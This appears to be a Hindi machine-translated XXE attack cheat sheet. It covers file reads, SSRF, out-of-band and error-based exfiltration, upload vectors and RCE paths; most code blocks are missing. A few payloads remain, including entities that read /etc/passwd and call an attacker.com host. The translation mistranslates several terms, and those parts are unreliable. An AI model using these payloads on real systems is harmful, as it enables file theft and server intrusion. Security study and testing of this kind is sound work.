XXE - XEE - XML External Entity
XML Basics
XML एक मार्कअप भाषा है जो डेटा स्टोरेज और परिवहन के लिए डिज़ाइन की गई है, जिसमें एक लचीला संरचना है जो वर्णनात्मक नामित टैग का उपयोग करने की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग सेट से सीमित नहीं है। XML का महत्व JSON के उछाल के साथ कम हो गया है, भले ही इसकी प्रारंभिक भूमिका AJAX प्रौद्योगिकी में थी।
एंटिटी के माध्यम से डेटा प्रतिनिधित्व: XML में एंटिटी डेटा का प्रतिनिधित्व करने की अनुमति देती है, विशेष वर्ण जैसे
<
और>
, जो<
और>
का संघर्ष टैग प्रणाली के साथ टकराव रोकने के लिए हैं।XML तत्वों की परिभाषा: XML तत्वों की परिभाषा की अनुमति है, जिसमें तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सामग्री हो सकती है, किसी भी प्रकार की सामग्री से विशेष बच्चा तत्वों तक।
दस्तावेज़ प्रकार परिभाषा (DTD): DTD XML में दस्तावेज़ की संरचना और उसमें शामिल किए जा सकने वाले डेटा के प्रकार की परिभाषा के लिए महत्वपूर्ण हैं। वे आंतरिक, बाह्य, या एक संयोजन हो सकते हैं, दस्तावेज़ को कैसे स्वरूपित किया जाए और सत्यापित किया जाए, इसका मार्गदर्शन करते हैं।
कस्टम और बाह्य एंटिटी: XML DTD में लचीले डेटा प्रतिनिधित्व के लिए कस्टम एंटिटी का समर्थन करता है। बाह्य एंटिटी, एक URL के साथ परिभाषित, सुरक्षा संबंधित चिंताएं उठाते हैं, विशेष रूप से XML External Entity (XXE) हमलों में, जो XML पार्सर्स के बाह्य डेटा स्रोतों को कैसे उपयोग करते हैं, का शोध करते हैं:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
पैरामीटर एंटिटी के साथ XXE डिटेक्शन: XXE वंशावली की खोज के लिए, विशेष रूप से जब पार्सर सुरक्षा उपाय के कारण पारंपरिक विधियों में विफल हो जाते हैं, XML पैरामीटर एंटिटी का उपयोग किया जा सकता है। ये एंटिटी बाह्य-बैंड डिटेक्शन तकनीकों के लिए अनुमति देते हैं, जैसे DNS लुकअप या नियंत्रित डोमेन पर HTTP अनुरोध को ट्रिगर करना, विकल्पी रूप से XXE की वंशावली की पुष्टि करने के लिए।
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
मुख्य हमले
नई एंटिटी परीक्षण
इस हमले में मैं यह जांचने जा रहा हूँ कि क्या एक साधारण नई एंटिटी घोषणा काम कर रही है
फ़ाइल पढ़ें
हम विभिन्न तरीकों से /etc/passwd
पढ़ने की कोशिश करेंगे। Windows के लिए आप यह कोशिश कर सकते हैं: C:\windows\system32\drivers\etc\hosts
इस पहले मामले में ध्यान दें कि SYSTEM "**file:///**etc/passwd" भी काम करेगा।
यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं)
इस तीसरे मामले में ध्यान दें कि हम Element stockCheck
को ANY के रूप में घोषित कर रहे हैं।
निर्देशिका सूची
जावा आधारित एप्लिकेशन में एक डायरेक्टरी की सामग्री को एक्सएई के माध्यम से सूचीत किया जा सकता है जैसे कि (फ़ाइल के बजाय डायरेक्टरी के लिए केवल पूछ रहा है):
SSRF
एक XXE का उपयोग करके बादल के अंदर एक SSRF का दुरुपयोग किया जा सकता है
ब्लाइंड SSRF
पिछले टिप्पणीत तकनीक का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप निराश करना चाहते हैं। लेकिन, अगर यह काम नहीं कर रहा है, शायद XML एंटिटीज की अनुमति नहीं है, उस मामले में आप XML पैरामीटर एंटिटीज का प्रयास कर सकते हैं:
"ब्लाइंड" SSRF - डेटा को आउट-ऑफ-बैंड निकालें
इस अवसर में हम सर्वर को एक नए DTD को लोड करने के लिए बनाएंगे जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे एफ़टीपी के माध्यम से निकालने की कोशिश कर सकते हैं _ftp://_ का उपयोग करके उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करें xxe-ftp-server.rb). यह व्याख्या Portswiggers lab here** पर आधारित है।**
दी गई हानिकारक DTD में, डेटा निकालने के लिए एक सिरीज़ के कदम चलाए जाते हैं:
हानिकारक DTD उदाहरण:
इस DTD द्वारा निष्पादित चरण शामिल हैं:
पैरामीटर एंटिटी की परिभाषा:
एक XML पैरामीटर एंटिटी,
%file
, बनाई गई है,/etc/hostname
फ़ाइल की सामग्री को पढ़ रही है।एक और XML पैरामीटर एंटिटी,
%eval
, परिभाषित की गई है। यह नया XML पैरामीटर एंटिटी,%exfiltrate
, डायनामिक रूप से घोषित करती है।%exfiltrate
एंटिटी को अटैकर के सर्वर पर एक HTTP अनुरोध करने के लिए सेट किया जाता है, URL के क्वेरी स्ट्रिंग में%file
एंटिटी की सामग्री को पारित करते हुए।
एंटिटी का निष्पादन:
%eval
एंटिटी का उपयोग किया जाता है, जिससे%exfiltrate
एंटिटी के डायनामिक घोषणा का निष्पादन होता है।फिर
%exfiltrate
एंटिटी का उपयोग किया जाता है, जिससे निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ एक HTTP अनुरोध को सक्रिय किया जाता है।
हमलावार अपने नियंत्रण में एक सर्वर पर इस दुराचारी DTD को होस्ट करता है, सामान्यत: एक URL पर जैसे http://web-attacker.com/malicious.dtd
।
XXE पेलोड: एक विकल्पी एप्लिकेशन को शोषित करने के लिए हमलावार एक XXE पेलोड भेजता है:
त्रुटि आधारित (बाह्य DTD)
इस मामले में हम सर्वर को एक दुरुपयोगी DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के अंदर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)। यहां से उदाहरण।
एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण त्रुटि संदेश, /etc/passwd
फ़ाइल की सामग्री को उजागर कर सकता है, एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण (DTD) का उपयोग करके किया जा सकता है। इसे निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
एक XML पैरामीटर एंटिटी नामक
file
परिभाषित की जाती है, जिसमें/etc/passwd
फ़ाइल की सामग्री होती है।एक XML पैरामीटर एंटिटी नामक
eval
परिभाषित की जाती है, जिसमें एक और XML पैरामीटर एंटिटी नामकerror
के लिए एक गतिशील घोषणा शामिल होती है। यहerror
एंटिटी, जब मूल्यांकन किया जाता है, एक अवस्थित फ़ाइल लोड करने का प्रयास करती है, जिसमेंfile
एंटिटी की सामग्री उसका नाम होती है।eval
एंटिटी को आमंत्रित किया जाता है, जिससेerror
एंटिटी की गतिशील घोषणा होती है।error
एंटिटी को आमंत्रित करने से एक अवस्थित फ़ाइल लोड करने का प्रयास होता है, जिससे त्रुटि संदेश उत्पन्न होता है जिसमें/etc/passwd
फ़ाइल की सामग्री फ़ाइल के नाम के रूप में शामिल होती है।
निम्नलिखित XML के साथ दुरुपयोगी बाह्य DTD को आमंत्रित किया जा सकता है:
त्रुटि आधारित (सिस्टम DTD)
तो बाहरी बैंड इंटरेक्शन ब्लॉक किए जाने पर ब्लाइंड XXE वंलरेबिलिटी क्या है (बाहरी कनेक्शन उपलब्ध नहीं है)?.
XML भाषा विनिर्देश में एक खामी हो सकती है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है। यह समस्या बाहरी रूप से घोषित एंटिटी का आंतरिक पुनर्निर्धारण संभव बनाती है, जो त्रुटि आधारित XXE हमलों को करने में सहायक होती है। ऐसे हमले बाहरी DTD में पहले से घोषित एक XML पैरामीटर एंटिटी के पुनर्निर्धारण का शिकार होते हैं, जो एक आंतरिक DTD से किया जाता है। जब सर्वर द्वारा बाहरी बैंड कनेक्शन ब्लॉक किए जाते हैं, तो हमलावरों को आक्रमण करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर होना पड़ता है, संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि को उत्पन्न करने का उद्देश्य रखते हैं।
समझौता करें जहां सर्वर की फ़ाइल सिस्टम में /usr/local/app/schema.dtd
पर एक DTD फ़ाइल होती है, जिसमें custom_entity
नामक एक एंटिटी परिभाषित होती है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके /etc/passwd
फ़ाइल की सामग्री प्रकट करने के लिए एक XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
इस DTD द्वारा निर्दिष्ट चरण निष्पादित किए जाते हैं:
XML पैरामीटर एंटिटी जिसका नाम
local_dtd
है, उसमें सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल को शामिल किया जाता है।custom_entity
XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले बाह्य DTD में परिभाषित था, एक त्रुटि-आधारित XXE उत्पीड़न को ढकने के लिए। इस पुनर्निर्धारण का उद्देश्य एक पार्सिंग त्रुटि को उत्पन्न करना है, जिससे/etc/passwd
फ़ाइल की सामग्री उजागर होती है।local_dtd
एंटिटी का उपयोग करके, बाह्य DTD को सक्रिय किया जाता है, जिसमें नए रूप में परिभाषितcustom_entity
शामिल होता है। इन क्रियाओं के अनुक्रम से, उत्पीड़न द्वारा लक्षित त्रुटि संदेश का उत्पादन होता है।
वास्तविक दुनिया का उदाहरण: GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर /usr/share/yelp/dtd/docbookx.dtd
पर एक DTD होता है जिसमें ISOamso
नामक एंटिटी होती है।
जैसा कि यह तकनीक एक आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है। आप ऐसा कर सकते हैं जब आप सर्वर का उपयोग कर रहे हैं वही एक ओएस / सॉफ्टवेयर इंस्टॉल करके और कुछ डिफ़ॉल्ट DTDs खोजने, या सिस्टम्स के अंदर कुछ डिफ़ॉल्ट DTDs की सूची पकड़ने और जांचने के लिए कर सकते हैं:
अधिक जानकारी के लिए देखें https://portswigger.net/web-security/xxe/blind
सिस्टम में DTDs खोजना
निम्नलिखित शानदार github रेपो में आप सिस्टम में मौजूद DTDs के पथ ढूंढ सकते हैं:
इसके अतिरिक्त, यदि आपके पास पीड़ित सिस्टम का डॉकर इमेज है, तो आप इसी रेपो के उपकरण का उपयोग करके इमेज को स्कैन कर सकते हैं और सिस्टम में मौजूद DTDs का पथ खोज सकते हैं। गिथब के Readme को पढ़ें और सीखें कैसे।
XXE के माध्यम से ऑफिस ओपन XML पार्सर
इस हमले का और विस्तृत व्याख्या के लिए, इस अद्भुत पोस्ट के दूसरे खंड की जाँच करें।
कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता प्रदान की जाती है, जो फिर इन दस्तावेज़ से कुछ विशेष विवरण निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को कम से कम एक XML फ़ाइल का पार्स करना होगा।
इस वंशाता की जाँच के लिए, एक माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।
जब दस्तावेज़ को अनज़िप कर दिया गया है, तो ./unzipped/word/document.xml
पर स्थित XML फ़ाइल को खोलकर और संपादित करना चाहिए एक पसंदीदा पाठ संपादक में (जैसे vim)। XML को इच्छित XXE पेलोड शामिल करने के लिए संशोधित किया जाना चाहिए, जिसमें अक्सर एक HTTP अनुरोध से प्रारंभ होता है।
Jar: protocol
jar प्रोटोकॉल केवल जावा एप्लिकेशन्स के भीतर ही पहुंचने योग्य बनाया गया है। इसका उद्देश्य PKZIP आर्काइव (जैसे, .zip
, .jar
, आदि) के भीतर फ़ाइल एक्सेस संभव बनाना है, जो स्थानीय और दूरस्थ फ़ाइलों को सेवित करता है।
PKZIP फ़ाइल्स के भीतर फ़ाइलों तक पहुँचना XXE को उपयोग करने के लिए बहुत उपयोगी है जिसके माध्यम से सिस्टम DTD फ़ाइलों का दुरुपयोग किया जा सकता है। इस खंड को जानने के लिए देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे किया जाए।
PKZIP आर्काइव के भीतर फ़ाइल तक पहुँचने के पीछे की प्रक्रिया निम्नलिखित चरणों से गुजरती है:
एक HTTP अनुरोध किया जाता है ताकि निर्दिष्ट स्थान से जैसे
https://download.website.com/archive.zip
से जिप आर्काइव डाउनलोड किया जा सके।जिप आर्काइव को डाउनलोड करने वाला HTTP प्रतिक्रिया सिस्टम पर अस्थायी रूप से स्थानांतरित किया जाता है, सामान्यत:
/tmp/...
जैसे स्थान पर।फिर आर्काइव को खोलकर इसकी सामग्री तक पहुँचा जाता है।
आर्काइव के भीतर विशिष्ट फ़ाइल,
file.zip
, पढ़ी जाती है।इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
इस प्रक्रिया को दूसरे चरण में रुकावट डालने के लिए एक दिलचस्प तकनीक शामिल है जिसमें सर्वर कनेक्शन को खुला रखने का उपाय असीमित समय तक किया जाता है जब आर्काइव फ़ाइल को सेवा किया जा रहा है। इस उद्देश्य के लिए इस भंडार में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (slow_http_server.py
) और एक जावा सर्वर (slowserver.jar
) शामिल हैं।
एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और सुरक्षा दोष को बढ़ावा देने में मदद कर सकता है जो एक पथ चलन शामिल करता है (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डेसीरियलाइज़ेशन, आदि)।
XSS
डीओएस
बिलियन हंसी हमला
Yaml हमला
चद्राकार विस्फोट हमला
NTML प्राप्त करना
Windows होस्ट पर वेब सर्वर उपयोगकर्ता के NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:
और निम्नलिखित अनुरोध भेजकर
छिपी हुई XXE सतहें
XInclude
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, तो XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, DOCTYPE
तत्व को संशोधित करने पर प्रतिबंध के कारण पारंपरिक XXE हमलों को बाधित करता है। हालांकि, XInclude
हमला एक समाधान प्रदान करता है जिसके द्वारा XML दस्तावेज के किसी भी डेटा तत्व में बाह्य एंटिटियों को डालने की अनुमति होती है। यह विधि प्रभावी है जब भी केवल सर्वर द्वारा उत्पन्न XML दस्तावेज के डेटा का केवल एक हिस्सा नियंत्रित किया जा सकता है।
XInclude
हमला करने के लिए, XInclude
नेमस्पेस का घोषणा करनी चाहिए, और इच्छित बाह्य एंटिटी के लिए फ़ाइल पथ को निर्दिष्ट किया जाना चाहिए। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह का हमला कैसे तैयार किया जा सकता है:
अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!
SVG - फ़ाइल अपलोड
उन फ़ाइलों को जो उपयोगकर्ताओं द्वारा किसी विशेष एप्लिकेशन पर अपलोड की जाती हैं, जो फिर सर्वर पर प्रोसेस की जाती हैं, उनमें XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, उसमें सुरक्षा दोषों का शिकार हो सकते हैं। सामान्य फ़ाइल प्रारूप जैसे कार्यालय दस्तावेज़ (DOCX) और छवियाँ (SVG) XML पर आधारित होती हैं।
जब उपयोगकर्ता छवियाँ अपलोड करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। ऐसे एप्लिकेशन्स के लिए जो PNG या JPEG जैसे प्रारूपों की अपेक्षा कर रहे हों, सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुस्त SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) दोषों का सामना करना पड़ सकता है।
इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहां एक दुरुस्त SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:
एक और तकनीक शामिल है जिसमें PHP "expect" रैपर के माध्यम से कमांड्स को निष्पादित करने का प्रयास किया जाता है:
दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपायों की आवश्यकता को हाइलाइट किया जाता है।
अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!
एक PDF फ़ाइल अपलोड करें
एक XXE को शोषित करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें, इसे सीखने के लिए निम्नलिखित पोस्ट पढ़ें:
pagePDF Upload - XXE and CORS bypassContent-Type: x-www-urlencoded से XML तक
यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में एक XXE का शोषण करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
फिर आप निम्नलिखित अनुरोध को सबमिट कर सकते हैं, जिससे एक ही परिणाम मिलेगा:
Content-Type: JSON से XEE तक
अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "Content Type Converter". यहाँ आप इस उदाहरण को देख सकते हैं:
एक और उदाहरण यहाँ मिल सकता है।
WAF और सुरक्षा अवरोध
Base64
UTF-7
यह केवल तब काम करेगा अगर XML सर्वर data://
प्रोटोकॉल स्वीकार करता है।
आप यहाँ ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7 में बदल सकते हैं।
फ़ाइल:/ प्रोटोकॉल बाईपास
यदि वेब PHP का उपयोग कर रहा है, तो file:/
की बजाय आप php wrappersphp://filter/convert.base64-encode/resource=
का उपयोग करके आंतरिक फ़ाइलों तक पहुँच सकते हैं।
यदि वेब Java का उपयोग कर रहा है तो आप jar: प्रोटोकॉल की जाँच कर सकते हैं।
HTML Entities
https://github.com/Ambrotd/XXE-Notes से ट्रिक आप html entities का उपयोग करके एक एंटिटी को एंटिटी के अंदर बना सकते हैं और फिर इसे एक dtd लोड करने के लिए कॉल कर सकते हैं। ध्यान दें कि उपयोग किए गए HTML Entities को संख्यात्मक होना चाहिए (जैसे [इस उदाहरण में](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD उदाहरण:
PHP Wrappers
Base64
निकालें index.php
बाह्य संसाधन निकालें
रिमोट कोड निष्पादन
यदि PHP "expect" मॉड्यूल लोड है
SOAP - XEE
XLIFF - XXE
यह उदाहरण https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe से प्रेरित है।
XLIFF (XML स्थानीयकरण अंतराल फ़ाइल प्रारूप) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से उपयोग स्थानीयकरण के दौरान टूल्स के बीच स्थानीयकरणीय डेटा को स्थानांतरित करने के लिए और CAT (कंप्यूटर सहायित अनुवाद) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में प्राथमिक रूप से उपयोग किया जाता है।
अंधा अनुरोध विश्लेषण
निम्नलिखित सामग्री के साथ सर्वर को एक अनुरोध किया जाता है:
हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को ट्रिगर करता है, विशेष रूप से मार्कअप घोषणाओं के साथ समस्या का उल्लेख करता है:
गलती के बावजूद, Burp Collaborator पर एक हिट दर्ज किया गया है, जिससे बाहरी एंटिटी के साथ किसी स्तर के बातचीत का पता चलता है।
आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन के लिए, एक संशोधित अनुरोध भेजा जाता है:
यह दृष्टिकोण दिखाता है कि उपयोगकर्ता एजेंट का उपयोग जावा 1.8 का है। इस जावा संस्करण के साथ एक नोटेड सीमा यह है कि आउट ऑफ बैंड तकनीक का उपयोग करके /etc/passwd जैसे न्यूलाइन वाले फ़ाइल्स को पुनः प्राप्त करने में असमर्थता है।
त्रुटि-आधारित डेटा निकासी इस सीमा को पार करने के लिए, एक त्रुटि-आधारित दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल निम्नलिखित ढंग से संरचित है ताकि एक त्रुटि को ट्रिगर करें जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
सर्वर एक त्रुटि के साथ प्रतिक्रिया देता है, महत्वपूर्ण रूप से अस्तित्वहीन फ़ाइल को प्रतिबिम्बित करता है, जिससे प्रकट होता है कि सर्वर निर्दिष्ट फ़ाइल तक पहुँचने का प्रयास कर रहा है:
फ़ाइल की सामग्री को त्रुटि संदेश में शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:
यह संशोधन फ़ाइल की सामग्री की सफल निकासी की ओर ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में प्रतिबिम्बित होता है। यह एक सफल XXE (XML External Entity) हमला की ओर संकेत करता है, जो संवेदनशील जानकारी निकालने के लिए Out of Band और Error-Based तकनीकों का उपयोग करता है।
RSS - XEE
XXE जोखिम का शोध करने के लिए मान्य XML जिसमें RSS प्रारूप है।
पिंग बैक
हमलावर्ग के सर्वर को सरल HTTP अनुरोध
फ़ाइल पढ़ें
स्रोत कोड पढ़ें
PHP base64 फ़िल्टर का उपयोग करें
जावा XMLDecoder XEE से RCE तक
XMLDecoder एक Java कक्षा है जो XML संदेश पर आधारित ऑब्जेक्ट बनाती है। यदि एक दुर्भाग्यपूर्ण उपयोगकर्ता एक अनुरोध में readObject विधि का उपयोग करने के लिए अनियमित डेटा का उपयोग करा सकता है, तो वह तुरंत सर्वर पर कोड क्रियान्वयन हासिल कर लेगा।
Runtime().exec() का उपयोग
ProcessBuilder
प्रक्रिया निर्माता
उपकरण
संदर्भ
अपने बाह्य DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
Last updated